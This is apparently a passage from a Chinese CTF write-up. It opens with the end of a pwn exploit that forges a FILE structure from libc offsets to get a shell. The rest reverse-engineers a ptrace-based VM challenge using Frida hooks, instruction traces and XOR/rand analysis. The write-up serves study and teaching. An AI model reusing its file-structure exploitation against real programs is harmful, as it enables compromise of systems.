0xd8: _IO_default_xsgetn - 0x90, # vtable
0x08: libc_base+libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_read_ptr
0x10: libc_base+libc.symbols["_IO_2_1_stdout_"] + (0x1c8 - 0xc8), # _IO_read_end
0xe0: {
0xe0: _IO_wfile_jumps_maybe_mmap
}
}
}, filler=b"\x00"))
p.interactive()
REVERSE
tradre
父子进程+ptrace断点虚拟机
子进程调用函数,包含一堆__debugpoint,触发断点时被父进程检测到
不能用软断,会影响原预制Int3的断点,[RIP-1] == 0xCC
frida脚本:
import os
import threading
from frida_tools.application import Reactor
import frida
class Application:
def __init__(self):
self._stop_requested = threading.Event()
self._reactor = Reactor(run_until_return=lambda reactor: self._stop_requested.wait())
self._device = frida.get_local_device()
self._sessions = set()
self._device.on("child-added", lambda child: self._reactor.schedule(lambda: self._on_child_added(child)))
self._device.on("child-removed", lambda child: self._reactor.schedule(lambda: self._on_child_removed(child)))
self._device.on("output", lambda pid, fd, data: self._reactor.schedule(lambda: self._on_output(pid, fd, data)))
def run(self):
self._reactor.schedule(lambda: self._start())
self._reactor.run()
def _start(self):
argv = ["./tradre"]
env = {
"BADGER": "badger-badger-badger",
"SNAKE": "mushroom-mushroom",
}
print(f"✔ spawn(argv={argv})")
pid = self._device.spawn(argv, env=env, stdio="pipe")
self._instrument(pid)
def _stop_if_idle(self):
if len(self._sessions) == 0:
self._stop_requested.set()
def _instrument(self, pid):
print(f"✔ attach(pid={pid})")
session = self._device.attach(pid)
session.on("detached", lambda reason: self._reactor.schedule(lambda: self._on_detached(pid, session, reason)))
print("✔ enable_child_gating()")
session.enable_child_gating()
print("✔ create_script()")
with open('hook.js', 'r', encoding='utf-8') as file:
content = file.read()
print(content)
script = session.create_script(
content
)
script.on("message", lambda message, data: self._reactor.schedule(lambda: self._on_message(pid, message)))
print("✔ load()")
script.load()
print(f"✔ resume(pid={pid})")
self._device.resume(pid)
self._sessions.add(session)
def _on_child_added(self, child):
print(f"⚡ child_added: {child}")
self._instrument(child.pid)
fd_dir = f"/proc/{child.pid}/fd"
# 列出文件描述符(stdin: 0, stdout: 1, stderr: 2)
fds = os.listdir(fd_dir)
print("File descriptors:", fds)
# 向子进程的标准输入写入数据
with open(f"{fd_dir}/0", 'w', encoding='utf-8') as fd_stdin:
fd_stdin.write("flagggggggggggggggg\n")
fd_stdin.flush()
def _on_child_removed(self, child):
print(f"⚡ child_removed: {child}")
def _on_output(self, pid, fd, data):
print(f"⚡ output: pid={pid}, fd={fd}, data={repr(data)}")
def _on_detached(self, pid, session, reason):
print(f"⚡ detached: pid={pid}, reason='{reason}'")
self._sessions.remove(session)
self._reactor.schedule(self._stop_if_idle, delay=0.5)
def _on_message(self, pid, message):
print(f"⚡ message: pid={pid}, payload={message['payload']}")
app = Application()
app.run()
401BC4到401F81是所有的handler,中间都是判断寄存器某些标志的,控制跳转
is开头系列是一些标志判断跳转,如果返回1,则直接跳转到目标rip,为0则下一个node,最后统一设置设置rip,如果是2345 handler,则是调用Call系列的函数
通过一个RIP映射表去找到触发int3的RIP对应的RIP数据,然后通过handler返回值执行不同虚拟机代码
Case 0 条件判断假 : 跳转到next_idx
Case 1 条件判断真 : 跳转到alt_idx
Case 2: Ret Pop
Case 3: Call RIP
Case 4: Save stack 保存next_idx
Case 5: 映射RIP,重定位
分块提取代码:
block按地址分块提取,写个正则匹配伪代码
import re
with open('a.asm', 'r', encoding='utf-8') as file:
input_string = file.read()
print(input_string)
pattern = r"loc_40([0-9a-fA-F]+);"
addresses = re.findall(pattern, input_string)
list = []
for addresse in addresses:
list.append(int(addresse,16))
list2 = sorted(list)
# 打印结果
for li in list2:
print( hex(li+0x400000)+",",end="")
0x400afd,0x400b03,0x400b6e,0x400b79,0x400b7c,0x400b81,0x400bab,0x400bbe,0x400bf8,0x400bfe,0x400c10,0x400c25,0x400c34,0x400c47,0x400c4f,0x400c74,0x400c7c,0x400c84,0x400c8c,0x400c96,0x400ccf,0x400cdf,0x400d1f,0x400d45,0x400d4d,0x400d58,0x400d5b,0x400d90,0x400da3,0x400ddb,0x400de0,0x400def,0x400e1a,0x400e22,0x400e3a,0x400e55,0x400e5d,0x400f5c,0x400f6a,0x400f7a,0x400f83,0x400fb1,0x400fc1,0x400fc9,0x400fdb,0x400fee,0x400ff6,0x400ffb,0x400ffc,0x401010,0x401018,0x401034,0x40104d,0x401060,0x401073,0x401080,0x40117f,0x401184,0x40119e,0x4011b1,0x4011c4,0x4011ff,0x40120a,0x40120b,0x40120c,0x401213,0x40122e,0x401249,0x401254,0x40125c,0x40129f,0x4012aa,0x4012b2,0x4012b8,0x4012c0,0x4012c1,0x4012c3,0x4012e7,0x4012ef,0x40130a,0x401312,0x401319,0x401324,0x40132a,0x40133d,0x40137f,0x40138a,0x40138b,0x401390,0x4013c3,0x4013ce,0x4013e0,0x4013f4,0x401407,0x40140f,0x40141c,0x40142f,0x401441,0x401476,0x40148b,0x401490,0x401498,0x4014a0,0x4014a1,0x4014bd,0x4014c4,0x4014c7,0x4014cd,0x4014d5,0x4014da,0x4014dc,0x4014f1,0x4014fa,0x401505,0x40151a,0x401525,0x401538,0x401561,0x401566,0x401576,0x401589,0x40158a,0x40158b,0x401594,0x40159c,0x4015a1,0x4015ad,0x4015b2,0x4015ba,0x4015cc,0x4015e3,0x401612,0x401633,0x40163e,0x401658,0x40165e,0x401672,0x401684,0x4016bf,0x401702,0x401703,0x40170a,0x401713,0x40171b,0x401726,0x4017b9,0x4017c4,0x4017d1,0x4017e1,0x4017f4,0x401802,0x40180d,0x401831,0x401839,0x401843,0x40184e,0x40185b,0x401864,0x4018a3,0x4018b7,0x4018bc,0x4018cc,0x4018ce,0x4018e2,0x4018e5,0x4018f0,0x40193c,0x401953,0x40195e,0x4019a2,
Hook.js Trace asm
'use strict';
const TARGET_MODULE_NAME = 'tradre';
var block = [0x400afd, 0x400b03, 0x400b6e, 0x400b79, 0x400b7c, 0x400b81, 0x400bab, 0x400bbe, 0x400bf8, 0x400bfe, 0x400c10, 0x400c25, 0x400c34, 0x400c47, 0x400c4f, 0x400c74, 0x400c7c, 0x400c84, 0x400c8c, 0x400c96, 0x400ccf, 0x400cdf, 0x400d1f, 0x400d45, 0x400d4d, 0x400d58, 0x400d5b, 0x400d90, 0x400da3, 0x400ddb, 0x400de0, 0x400def, 0x400e1a, 0x400e22, 0x400e3a, 0x400e55, 0x400e5d, 0x400f5c, 0x400f6a, 0x400f7a, 0x400f83, 0x400fb1, 0x400fc1, 0x400fc9, 0x400fdb, 0x400fee, 0x400ff6, 0x400ffb, 0x400ffc, 0x401010, 0x401018, 0x401034, 0x40104d, 0x401060, 0x401073, 0x401080, 0x40117f, 0x401184, 0x40119e, 0x4011b1, 0x4011c4, 0x4011ff, 0x40120a, 0x40120b, 0x40120c, 0x401213, 0x40122e, 0x401249, 0x401254, 0x40125c, 0x40129f, 0x4012aa, 0x4012b2, 0x4012b8, 0x4012c0, 0x4012c1, 0x4012c3, 0x4012e7, 0x4012ef, 0x40130a, 0x401312, 0x401319, 0x401324, 0x40132a, 0x40133d, 0x40137f, 0x40138a, 0x40138b, 0x401390, 0x4013c3, 0x4013ce, 0x4013e0, 0x4013f4, 0x401407, 0x40140f, 0x40141c, 0x40142f, 0x401441, 0x401476, 0x40148b, 0x401490, 0x401498, 0x4014a0, 0x4014a1, 0x4014bd, 0x4014c4, 0x4014c7, 0x4014cd, 0x4014d5, 0x4014da, 0x4014dc, 0x4014f1, 0x4014fa, 0x401505, 0x40151a, 0x401525, 0x401538, 0x401561, 0x401566, 0x401576, 0x401589, 0x40158a, 0x40158b, 0x401594, 0x40159c, 0x4015a1, 0x4015ad, 0x4015b2, 0x4015ba, 0x4015cc, 0x4015e3, 0x401612, 0x401633, 0x40163e, 0x401658, 0x40165e, 0x401672, 0x401684, 0x4016bf, 0x401702, 0x401703, 0x40170a, 0x401713, 0x40171b, 0x401726, 0x4017b9, 0x4017c4, 0x4017d1, 0x4017e1, 0x4017f4, 0x401802, 0x40180d, 0x401831, 0x401839, 0x401843, 0x40184e, 0x40185b, 0x401864, 0x4018a3, 0x4018b7, 0x4018bc, 0x4018cc, 0x4018ce, 0x4018e2, 0x4018e5, 0x4018f0, 0x40193c, 0x401953, 0x40195e, 0x4019a2]
var file_path = "trace.log.asm";
console.log(file_path);
var file_handle = new File(file_path, "w+");
function log(str) {
file_handle.write(str);
file_handle.flush();
}
const libc = (function() {
const openPtr = Module.findExportByName(null, 'open');
const readPtr = Module.findExportByName(null, 'read');
const closePtr = Module.findExportByName(null, 'close');
if (!openPtr || !readPtr || !closePtr) {
// 仍然允许脚本在没有这些符号的环境中尽早失败
// 但我们 don't throw here — caller will see nulls and can fallback to Process.getModuleByName
return { open: null, read: null, close: null };
}
return {
open: new NativeFunction(openPtr, 'int', ['pointer', 'int', 'int']),
read: new NativeFunction(readPtr, 'int', ['int', 'pointer', 'int']),
close: new NativeFunction(closePtr, 'int', ['int'])
};
})();
function readProcMaps() {
if (!libc.open || !libc.read || !libc.close) {
throw new Error('libc open/read/close not available via Module.findExportByName');
}
const pathPtr = Memory.allocUtf8String('/proc/self/maps');
const O_RDONLY = 0;
const fd = libc.open(pathPtr, O_RDONLY, 0);
if (fd < 0) {
throw new Error('open(/proc/self/maps) failed, fd=' + fd);
}
try {
// 动态读取:循环直到 read 返回 0 或小于 buffer 大小
const CHUNK = 32 * 1024; // 32KB per read
let parts = [];
let totalRead = 0;
while (true) {
const buf = Memory.alloc(CHUNK);
const n = libc.read(fd, buf, CHUNK);
if (n < 0) {
throw new Error('read failed, n=' + n);
}
if (n === 0) {
break; // EOF
}
// 将本次读到的 bytes 转为 JS string(不要求 null 结尾,因为我们指定长度)
const s = Memory.readUtf8String(buf, n);
parts.push(s);
totalRead += n;
// 如果本次读小于 CHUNK,说明 EOF 了
if (n < CHUNK) break;
// else loop to read more
}
const full = parts.join('');
// 解析每行(忽略空行)
const lines = full.split('\n').filter(l => l.length > 0);
const parsed = lines.map(line => {
const parts = line.trim().split(/\s+/);
const range = parts[0];
const perms = parts[1] || '';
const offset = parts[2] || '';
const dev = parts[3] || '';
const inode = parts[4] || '';
const pathname = parts.length > 5 ? parts.slice(5).join(' ') : null;
const [startStr, endStr] = range.split('-');
return {
start: ptr('0x' + startStr),
end: ptr('0x' + endStr),
perms: perms,
offset: offset,
dev: dev,
inode: inode,
pathname: pathname,
raw: line
};
});
return parsed;
} finally {
// 确保关闭 fd(即便上面抛错)
try { libc.close(fd); } catch (e) { /* ignore close errors */ }
}
}
// 在 /proc/self/maps 中查找模块基址:按 pathname 包含匹配,返回第一个匹配行的 start
function findBaseFromProcMaps(modNameOrPathFragment) {
const maps = readProcMaps(); // 每次调用都会 fresh 读取
for (let i = 0; i < maps.length; i++) {
const m = maps[i];
if (m.pathname && m.pathname.indexOf(modNameOrPathFragment) !== -1) {
return m.start;
}
}
return null;
}
// 把静态绝对地址 (例如 0x401BC4, 基于 IMAGE_PREFERRED_BASE) 转为 runtime address(使用 /proc/self/maps 的 base)
function staticToRuntimeAddrUsingProc(staticAddr, moduleNameFragment) {
const base = findBaseFromProcMaps(moduleNameFragment);
if (!base) {
throw new Error('module base not found in /proc/self/maps for ' + moduleNameFragment);
}
const IMAGE_PREFERRED_BASE = 0x400000;
const offset = staticAddr - IMAGE_PREFERRED_BASE;
return base.add(offset);
}
// 示例如何读取 runtimeAddr 的 8 字节并打印 hex(用 readByteArray -> BigInt)
function read8HexFromAddr(addr) {
const range = Process.findRangeByAddress(addr);
if (!range) {
throw new Error('address not mapped: ' + addr.toString());
}
// 如果页不可读,可以尝试 Memory.protect,但调用者决定是否尝试
const arr = Memory.readByteArray(addr, 8);
if (arr === null) return null;
const u8 = new Uint8Array(arr);
let big = 0n;
for (let i = 0; i < u8.length; i++) {
big |= BigInt(u8[i]) << BigInt(8 * i);
}
return big;
}
function attachAndHook() {
const mod = Process.getModuleByName(TARGET_MODULE_NAME);
const addr1 = mod.base.add(0x21B2);
const addr2 = mod.base.add(0x203D);
const addr3 = mod.base.add(0x2103);
const addr4 = mod.base.add(0x211F); // true
const addr5 = mod.base.add(0x213E); // false
const addr6 = mod.base.add(0x2372); // none
const addr7 = mod.base.add(0x238D); // set rip
const base = findBaseFromProcMaps("tradre");
//const addr4 = mod.base.add(0x21B2);
Interceptor.attach(addr1, {
onEnter: function (args) {
const rax = this.context.rax;
const t = this.context.rbp.sub(0x200);
const t2 = this.context.rbp.sub(0x200 + 16);
const _rip = Memory.readU64(t) - 1;
const _rdi = Memory.readU64(t2);
const hex = '0x' + (_rip >>> 0).toString(16);
const hex2 = '0x' + (_rdi >>> 0).toString(16);
if(rax == 0x400870)
{
// srand seed
console.log(`Seed: ${hex2}`);
}
const pltEntries = [
[0x400810, '_puts'],
[0x400820, '__stack_chk_fail'],
[0x400830, '_printf'],
[0x400840, '_memset'],
[0x400850, '_alarm'],
[0x400860, '_read'],
[0x400870, '_srand'],
[0x400880, '_signal'],
[0x400890, '_ptrace'],
[0x4008A0, '_setvbuf'],
[0x4008B0, '_perror'],
[0x4008C0, '_atoi'],
[0x4008D0, '_exit'],
[0x4008E0, '_wait'],
[0x4008F0, '_fork'],
[0x400900, '_rand']
];
const IMAGE_PREFERRED_BASE = 0x400000;
const compareList = pltEntries.map(([absKey, name, num]) => {
const absPtr = ptr('0x' + absKey.toString(16));
let relPtr = null;
if (absKey >= IMAGE_PREFERRED_BASE) {
const offset = absKey - IMAGE_PREFERRED_BASE;
try {
relPtr = mod.base.add(offset);
} catch (e) {
relPtr = null;
}
}
return { absPtr, relPtr, name, num, absHex: '0x' + absKey.toString(16) };
});
let matched = null;
for (let i = 0; i < compareList.length; i++) {
const item = compareList[i];
try {
if (item.absPtr && rax.equals(item.absPtr)) {
matched = item;
break;
}
if (item.relPtr && rax.equals(item.relPtr)) {
matched = item;
break;
}
} catch (e) {
}
}
log(`${(_rip >>> 0).toString(16)}:call ${matched.name}\n`)
console.log(`rip ${hex} call ${matched.name}(${rax.toString()})`);
// const cursor_ = Memory.readU64(base.add(0x606AA0-0x400000));
// const new_cursor_ = Memory.readU64(base.add(cursor_-0x400000));
// const ret_address = Memory.readU64(base.add(new_cursor_.add(24)-0x400000));
// console.log(`rip ${hex} call ${matched.name}(${rax.toString()})`);
// console.log(`ret ${'0x' + (ret_address >>> 0).toString(16)}`);
},
onLeave: function (retval) {
}
});
Interceptor.attach(addr2, {
onEnter: function (args) {
const _rip = this.context.rdx - 1;
console.log(`rip -> ${'0x' + (_rip >>> 0).toString(16)}`);
var blockIdx = block.indexOf(_rip + 1)
if (blockIdx != -1) {
var end = _rip - 1
var start = block[blockIdx - 1]
var ins = Instruction.parse(ptr(start))
log(ins.address.toString(16) + ":" + ins.toString() + "\n")
while (ins.address < end) {
var p = ins.next
ins = Instruction.parse(p)
log(ins.address.toString(16) + ":" + ins.toString() + "\n")
}
}
},
onLeave: function (retval) {
}
});
Interceptor.attach(addr3, {
onEnter: function (args) {
const rax = this.context.rax;
const rdi = this.context.rdi;
const handlerEntries = [
[0x401BC4, "jc", "jnc"],
[0x401C31, "jl", "jge"],
[0x401CA6, "jle", "jg"],
[0x401D22, "jne", "je"],
[0x401D5B, "je", "jne"],
[0x401D94, "js", "jns"],
[0x401DCD, "jns", "js"],
[0x401E06, "ja", "jbe"],
[0x401E4E, "jbe", "ja"],
[0x401E96, "ret_2", ""],
[0x401EA5, "ret_3", ""],
[0x401EB4, "ret_4", ""],
[0x401EC3, "ret_5", ""],
[0x401F0C, "jg", "jle"],
[0x401F81, "je", "jne"]
];
const _prip = rdi.add(16*8);
const _rip = Memory.readU64(_prip) - 1;
const _rip_str = '0x' + (_rip >>> 0).toString(16);
const IMAGE_PREFERRED_BASE = 0x400000;
const compareList = handlerEntries.map(([absKey, name, rename]) => {
const absPtr = ptr('0x' + absKey.toString(16));
let relPtr = null;
if (absKey >= IMAGE_PREFERRED_BASE) {
const offset = absKey - IMAGE_PREFERRED_BASE;
try {
relPtr = mod.base.add(offset);
} catch (e) {
relPtr = null;
}
}
return { absPtr, relPtr, name, rename, absHex: '0x' + absKey.toString(16) };
});
let matched = null;
for (let i = 0; i < compareList.length; i++) {
const item = compareList[i];
try {
if (item.absPtr && rax.equals(item.absPtr)) {
matched = item;
break;
}
if (item.relPtr && rax.equals(item.relPtr)) {
matched = item;
break;
}
} catch (e) {
}
}
if (matched) {
if(matched.name!="ret_2"&&matched.name!="ret_3"&&matched.name!="ret_4"&&matched.name!="ret_5")
{
const cursor = Memory.readU64(base.add(0x606AA0-0x400000));
const true_cursor = Memory.readU64(base.add(cursor+8-0x400000));
const false_cursor = Memory.readU64(base.add(cursor-0x400000));
const true_rip = Memory.readU64(base.add(true_cursor+24-0x400000));
const false_rip = Memory.readU64(base.add(false_cursor+24-0x400000));
console.log(`rip ${_rip_str} on call handler`);
console.log(`-${matched.name} ${'0x' + (true_rip >>> 0).toString(16)}`);
console.log(`-${matched.rename} ${'0x' + (false_rip >>> 0).toString(16)}`);
}
else
{
console.log(`${matched.name}`);
}
} else {
//console.log(`Handler not found in HandlerMap`);
}
},
onLeave: function (retval) {
}
});
Interceptor.attach(addr4, {
onEnter: function (args) {
const _cursor = this.context.rax;
// const b8 = Memory.readU64(base.add(0x606AA0-0x400000));
// const rip = Memory.readU64(base.add(b8+24-0x400000));
// console.log(`${b9.toString()}`);
// const b9 = read8HexFromAddr(f2);
// console.log(`${b9.toString()}`);
//const _rip = Memory.readU64(_cursor + 24);
console.log(`true`);
},
onLeave: function (retval) {
}
});
Interceptor.attach(addr5, {
onEnter: function (args) {
const _cursor = this.context.rax;
//const _rip = Memory.readU64(_cursor + 24);
console.log(`false`);
},
onLeave: function (retval) {
}
});
Interceptor.attach(addr6, {
onEnter: function (args) {
const _cursor = this.context.rax;
const jmp_to = Memory.readU64(base.add(_cursor.add(24)-0x400000));
console.log(`none`);
console.log(`-jmp ${'0x' + (jmp_to >>> 0).toString(16)}`);
},
onLeave: function (retval) {
}
});
// Interceptor.attach(addr7, {
// onEnter: function (args) {
// const _cursor = this.context.rax;
// //const _rip = Memory.readU64(_cursor + 24);
// console.log(`to: ${'0x' + (_cursor >>> 0).toString(16)}`);
// },
// onLeave: function (retval) {
// }
// });
// --- addr4 plac
}
setTimeout(attachAndHook, 0);
部分Trace结果如下:
4018ce:push rbp
4018cf:mov rbp, rsp
4018d2:sub rsp, 0x20
4018d6:mov qword ptr [rbp - 0x18], rdi
4018da:lea rdi, [rip + 0x3057]
4018e1:int3
4018e1:call _puts
401254:lea rdi, [rip + 0x3725]
40125b:int3
40125b:call _puts
4012aa:lea rdi, [rip + 0x3717]
4012b1:int3
4012b1:call _puts
4012e7:lea rdi, [rip + 0x3722]
4012ee:int3
4012ee:call _puts
400e55:lea rdi, [rip + 0x3bfc]
400e5c:int3
400e5c:call _puts
400d45:lea rdi, [rip + 0x3d54]
400d4c:int3
400d4c:call _puts
400fc1:lea rdi, [rip + 0x3b20]
400fc8:int3
400fc8:call _puts
400bf8:mov edi, 0x10000
400bfd:int3
400bfd:call _srand
400fee:mov dword ptr [rbp - 8], 0
400ff5:int3
400b7c:cmp dword ptr [rbp - 8], 7
400b80:int3
4012b8:mov dword ptr [rbp - 4], 0
4012bf:int3
4014d5:cmp dword ptr [rbp - 4], 0x1f
4014d9:int3
401726:mov eax, dword ptr [rbp - 8]
401729:shl eax, 5
40172c:mov edx, eax
40172e:mov eax, dword ptr [rbp - 4]
401731:add eax, edx
401733:movsxd rdx, eax
401736:lea rax, [rip + 0x2048e3]
40173d:movzx esi, byte ptr [rdx + rax]
401741:mov eax, dword ptr [rbp - 4]
401744:movsxd rdx, eax
401747:mov rax, qword ptr [rbp - 0x18]
40174b:add rax, rdx
40174e:movzx ecx, byte ptr [rax]
401751:mov eax, dword ptr [rbp - 8]
401754:shl eax, 5
401757:mov edx, eax
401759:mov eax, dword ptr [rbp - 4]
40175c:add eax, edx
40175e:xor ecx, esi
401760:movsxd rdx, eax
401763:lea rax, [rip + 0x2048b6]
40176a:mov byte ptr [rdx + rax], cl
40176d:mov eax, dword ptr [rbp - 8]
401770:shl eax, 5
401773:mov edx, eax
401775:mov eax, dword ptr [rbp - 4]
401778:add eax, edx
40177a:movsxd rdx, eax
40177d:lea rax, [rip + 0x20499c]
401784:movzx esi, byte ptr [rdx + rax]
401788:mov eax, dword ptr [rbp - 4]
40178b:movsxd rdx, eax
40178e:mov rax, qword ptr [rbp - 0x18]
401792:add rax, rdx
401795:movzx ecx, byte ptr [rax]
401798:mov eax, dword ptr [rbp - 8]
40179b:shl eax, 5
40179e:mov edx, eax
4017a0:mov eax, dword ptr [rbp - 4]
4017a3:add eax, edx
以下为Trace分析:
Xor (函数开头32字节和密文异或)
400dfa:movzx edx, byte ptr [rbp + rax - 0x140]
400e02:mov eax, dword ptr [rbp - 0x1e0]
400e08:add eax, 0x10
400e0b:cdqe
400e0d:movzx eax, byte ptr [rbp + rax - 0x160]
400e15:xor eax, edx
400e17:mov ebx, eax
400e19:int3
40171b:mov rax, qword ptr [rbp - 0x1b8]
400c4f:mov eax, dword ptr [rbp - 0x1e0]
400c55:cdqe
400c57:movzx edx, byte ptr [rbp + rax - 0x140]
400c5f:mov eax, dword ptr [rbp - 0x1e0]
400c65:cdqe
400c67:movzx eax, byte ptr [rbp + rax - 0x160]
400c6f:xor eax, edx
400c71:mov ebx, eax
400c73:int3
0xe2 ^ 0xf2
0x8b ^ 0x61
0x55 ^ 0x8c
0x38 ^ 0x91
0x69 ^ 0x93
0xfa ^ 0xea
0x80 ^ 0xf5
0xc2 ^ 0xad
0x64 ^ 0xde
0x4e ^ 0xec
0x7f ^ 0xec
0xe7 ^ 0xa7
0x13 ^ 0x77
0x6 ^ 0x6e
0x14 ^ 0x7e
0xc5 ^ 0x38
0xc0 ^ 0x53
0x13 ^ 0x7b
0xd3 ^ 0x8a
0x12 ^ 0x69
0x6b ^ 0x66
0xbd ^ 0x32
0xf2 ^ 0x66
0xc7 ^ 0x2d
0x88 ^ 0xed
0x44 ^ 0xf3
0x3e ^ 0x8e
0x9 ^ 0x86
0xe8 ^ 0xa3
0xa3 ^ 0x6a
0x83 ^ 0x21
0x30 ^ 0xd2
Rand
401589:call _rand
401034:mov edx, eax
401036:mov eax, dword ptr [rbp - 0x1e0]
40103c:cdqe
40103e:mov byte ptr [rbp + rax - 0x180], dl
401045:add dword ptr [rbp - 0x1e0], 1
40104c:int3
400c7c:cmp dword ptr [rbp - 0x1e0], 0xf
Rand2(将上一个rand值作为下一个srand seed)
401702:call _rand
400b79:mov edi, eax
400b7b:int3
400b7b:call _srand
4014dc:mov dword ptr [rbp - 0x1dc], 0
4014e6:mov dword ptr [rbp - 0x1e0], 0
4014f0:int3
401713:cmp dword ptr [rbp - 0x1e0], 0xf
40171a:int3
400c4f:mov eax, dword ptr [rbp - 0x1e0]
400c55:cdqe
400c57:movzx edx, byte ptr [rbp + rax - 0x140]
400c5f:mov eax, dword ptr [rbp - 0x1e0]
400c65:cdqe
400c67:movzx eax, byte ptr [rbp + rax - 0x160]
400c6f:xor eax, edx
400c71:mov ebx, eax
400c73:int3
400c73:call _rand
400b81:xor eax, ebx
400b83:mov byte ptr [rbp - 0x1e2], al
400b89:movzx edx, byte ptr [rbp - 0x1e2]
400b90:mov rcx, qword ptr [rip + 0x205eb1]
400b97:mov eax, dword ptr [rbp - 0x1e0]
400b9d:cdqe
400b9f:add rax, rcx
400ba2:movzx eax, byte ptr [rax]
400ba5:movsx eax, al
400ba8:cmp edx, eax
400baa:int3
401831:add dword ptr [rbp - 0x1e0], 1
401838:int3
401713:cmp dword ptr [rbp - 0x1e0], 0xf
40171a:int3
400c4f:mov eax, dword ptr [rbp - 0x1e0]
400c55:cdqe
400c57:movzx edx, byte ptr [rbp + rax - 0x140]
400c5f:mov eax, dword ptr [rbp - 0x1e0]
400c65:cdqe
400c67:movzx eax, byte ptr [rbp + rax - 0x160]
400c6f:xor eax, edx
400c71:mov ebx, eax
400c73:int3
srand(0x10000)
20FAF0F4 683E3770 288F7EBB B6927C0 3F401131 38D02DCA 6C11C0EE 192D805E 3DD56C58 590C93B2 48FAC172 268EE4EA 17580D02 425B46F3 7DC91BFF 12BC7BE6 5011E654
F4 70 BB C0 31 CA EE 5E 58 B2 72 EA 02 F3 FF E6
srand(5011E654)
F8 44 C6 BA B1 E5 0E 3B A2 4B B5 AA 4A 89 C7 A0 19 BD EC 5E DE C1 C3 87 75 E6 12 71 61 EA F4 59
密文比较
0x43 == 0xe8
0x6f == 0xae
0x6e == 0x1f
0x67 == 0x13
0x72 == 0x4b
0x61 == 0xf5
0x74 == 0x7b
0x75 == 0x54
0x6c == 0x18
0x61 == 0xe9
0x74 == 0x26
0x69 == 0xea
0x6f == 0x2e
0x6e == 0xe1
0x73 == 0xad
0x21 == 0x5d
0xe2 ^ 0x47
0x4b15e2f8 ^ 0xa5
0x8b ^ 0x10
0x1565544 ^ 0x9b
0x55 ^ 0xab
0x2f740fc6 ^ 0xfe
0x38 ^ 0x2c
0x64a58cba ^ 0x14
0x69 ^ 0x2
0x6d6befb1 ^ 0x6b
0xfa ^ 0x7
0x1bb60fe5 ^ 0xfd
0x80 ^ 0x35
0x5ac2680e ^ 0xb5
0xc2 ^ 0x15
0x11536f3b ^ 0xd7
0x64 ^ 0x7e
0x6a406da2 ^ 0x1a
0x4e ^ 0x8c
0x1252584b ^ 0xc2
0x7f ^ 0x30
0x354322b5 ^ 0x4f
0xe7 ^ 0x5c
0x326d6caa ^ 0xbb
0x13 ^ 0x69
0x7ad0b64a ^ 0x7a
0x6 ^ 0xf7
0xac53389 ^ 0xf1
0x14 ^ 0x19
0x41a3dfc7 ^ 0xd
0xc5 ^ 0x73
0x49f698a0 ^ 0xb6
hook2.js
'use strict';
const TARGET_MODULE_NAME = 'tradre';
function attachAndHook() {
const mod = Process.getModuleByName(TARGET_MODULE_NAME);
Interceptor.attach(mod.base.add(0x0C6F), {
onEnter: function (args) {
const rax = this.context.rax;
const rdx = this.context.rdx;
console.log(`${rax.toString()} ^ ${rdx.toString()}`);
// console.log(`${rdx.toString()}`);
},
onLeave: function (retval) {
}
});
Interceptor.attach(mod.base.add(0xe15), {
onEnter: function (args) {
const rax = this.context.rax;
const rdx = this.context.rdx;
console.log(`${rax.toString()} ^ ${rdx.toString()}`);
// console.log(`${rdx.toString()}`);
},
onLeave: function (retval) {
}
});
Interceptor.attach(mod.base.add(0xb81), {
onEnter: function (args) {
const rax = this.context.rax;
const rbx = this.context.rbx;
console.log(`${rax.toString()} ^ ${rbx.toString()}`);
// console.log(`${rdx.toString()}`);
},
onLeave: function (retval) {
}
});
Interceptor.attach(mod.base.add(0xe15), {
onEnter: function (args) {
const rax = this.context.rax;
const rdx = this.context.rdx;
console.log(`${rax.toString()} ^ ${rdx.toString()}`);
// console.log(`${rdx.toString()}`);
},
onLeave: function (retval) {
}
});
Interceptor.attach(mod.base.add(0xBA8), {
onEnter: function (args) {
const rax = this.context.rax;
const rdx = this.context.rdx;
console.log(`${rax.toString()} == ${rdx.toString()}`);
},
onLeave: function (retval) {
}
});
Interceptor.attach(mod.base.add(0xBE5), {
onEnter: function (args) {
const rax = this.context.rax;
const rdx = this.context.rdx;
console.log(`${rax.toString()} == ${rdx.toString()}`);
},
onLeave: function (retval) {
}
});
// --- addr4 plac
}
setTimeout(attachAndHook, 0);
Output
0xe2 ^ 0x47
0x4b15e2f8 ^ 0xa5
0x43 == 0x5d
0x8b ^ 0x10
0x1565544 ^ 0x9b
0x6f == 0xdf
0x55 ^ 0xab
0x2f740fc6 ^ 0xfe
0x6e == 0x38
0x38 ^ 0x2c
0x64a58cba ^ 0x14
0x67 == 0xae
0x69 ^ 0x2
0x6d6befb1 ^ 0x6b
0x72 == 0xda
0xfa ^ 0x7
0x1bb60fe5 ^ 0xfd
0x61 == 0x18
0x80 ^ 0x35
0x5ac2680e ^ 0xb5
0x74 == 0xbb
0xc2 ^ 0x15
0x11536f3b ^ 0xd7
0x75 == 0xec
0x64 ^ 0x7e
0x6a406da2 ^ 0x1a
0x6c == 0xb8
0x4e ^ 0x8c
0x1252584b ^ 0xc2
0x61 == 0x89
0x7f ^ 0x30
0x354322b5 ^ 0x4f
0x74 == 0xfa
0xe7 ^ 0x5c
0x326d6caa ^ 0xbb
0x69 == 0x11
0x13 ^ 0x69
0x7ad0b64a ^ 0x7a
0x6f == 0x30
0x6 ^ 0xf7
0xac53389 ^ 0xf1
0x6e == 0x78
0x14 ^ 0x19
0x41a3dfc7 ^ 0xd
0x73 == 0xca
0xc5 ^ 0x73
0x49f698a0 ^ 0xb6
0x21 == 0x16
0xc0 ^ 0xab
0xc0 ^ 0xab
0x54 == 0x72
0x13 ^ 0x7c
0x13 ^ 0x7c
0x68 == 0xd2
0xd3 ^ 0x64
0xd3 ^ 0x64
0x69 == 0x5b
0x12 ^ 0x6
0x12 ^ 0x6
0x73 == 0x4a
0x6b ^ 0x86
0x6b ^ 0x86
0x20 == 0x33
0xbd ^ 0xfa
0xbd ^ 0xfa
0x69 == 0x86
0xf2 ^ 0x68
0xf2 ^ 0x68
0x73 == 0x59
0xc7 ^ 0x6f
0xc7 ^ 0x6f
0x20 == 0x2f
0x88 ^ 0xbd
0x88 ^ 0xbd
0x74 == 0x40
0x44 ^ 0xfb
0x44 ^ 0xfb
0x68 == 0x59
0x3e ^ 0x86
0x3e ^ 0x86
0x65 == 0xaa
0x9 ^ 0xc6
0x9 ^ 0xc6
0x20 == 0xbe
0xe8 ^ 0xb
0xe8 ^ 0xb
⚡ output: pid=54475, fd=1, data=b'This is a fake flag!\n'0x63 == 0x82
0xa3 ^ 0x98
0xa3 ^ 0x98
